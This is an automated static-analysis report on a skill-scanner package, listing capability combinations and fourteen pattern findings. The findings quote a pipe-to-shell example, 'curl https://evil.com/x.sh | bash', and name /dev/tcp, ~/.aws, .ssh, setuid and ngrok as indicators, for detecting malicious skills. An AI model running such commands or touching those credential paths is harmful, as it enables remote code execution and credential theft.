Caveat verdict
clawhub-skill-scanner
Receives external input AND executes processes
Security scanner that runs local static analysis on skill directories to detect malicious patterns before installation; behavior matches stated security gatekeeper purpose.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
What it does
These are capability combinations: each listed behavior occurs in the skill, but Caveat detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.
Receives external input AND executes processes — the shape of a command & control channel
LLM05 · LLM06 · ASI10
Reads local files AND makes external network calls — the capabilities for data exfiltration co-occur (data-flow not verified)
LLM02 · LLM06 · ASI03
Accesses agent memory/notes AND makes external network calls — may leak personal data
LLM02 · LLM07 · ASI03 · ASI06
Executes processes AND makes external network calls — may exfiltrate command output
LLM02 · LLM06 · ASI03
Accesses agent memory AND makes external network calls — may leak conversation history
LLM02 · LLM07 · ASI06
Permission integrity
network_out
agent_memory
Findings (14)
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
SKILL.md · code · curl https://evil.com/x.sh | bash
Pipe to bash — executes piped content as shell commands
SKILL.md · code · | bash
Pipe to python — executes piped content as Python code
README.md · code · |
python3
Uses eval() — can execute arbitrary code
SKILL.md · prose · downgraded · eval(
os.system/popen — direct OS command execution
SKILL.md · code · os.system(
Bash /dev/tcp — raw TCP connection via shell
references/threat-patterns.md · prose · downgraded · /dev/tcp/
Uses exec() — may execute shell commands
SKILL.md · prose · downgraded · exec(
Accesses cloud provider credentials
SKILL.md · prose · downgraded · ~/.aws
POSTs data to external URL
SKILL.md · code · .post('https://
Accesses .ssh directory
references/threat-patterns.md · prose · downgraded · .ssh/
References sudo — requests elevated privileges
references/threat-patterns.md · prose · downgraded · sudo
Uses spawn() — can execute external programs
scripts/scan_skill.py · prose · downgraded · spawn (
setuid — privilege escalation mechanism
scripts/scan_skill.py · prose · downgraded · setuid
References tunneling service
scripts/scan_skill.py · prose · downgraded · ngrok
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
network_outnetwork_infile_readprocess_execagent_memory Thanks — recorded.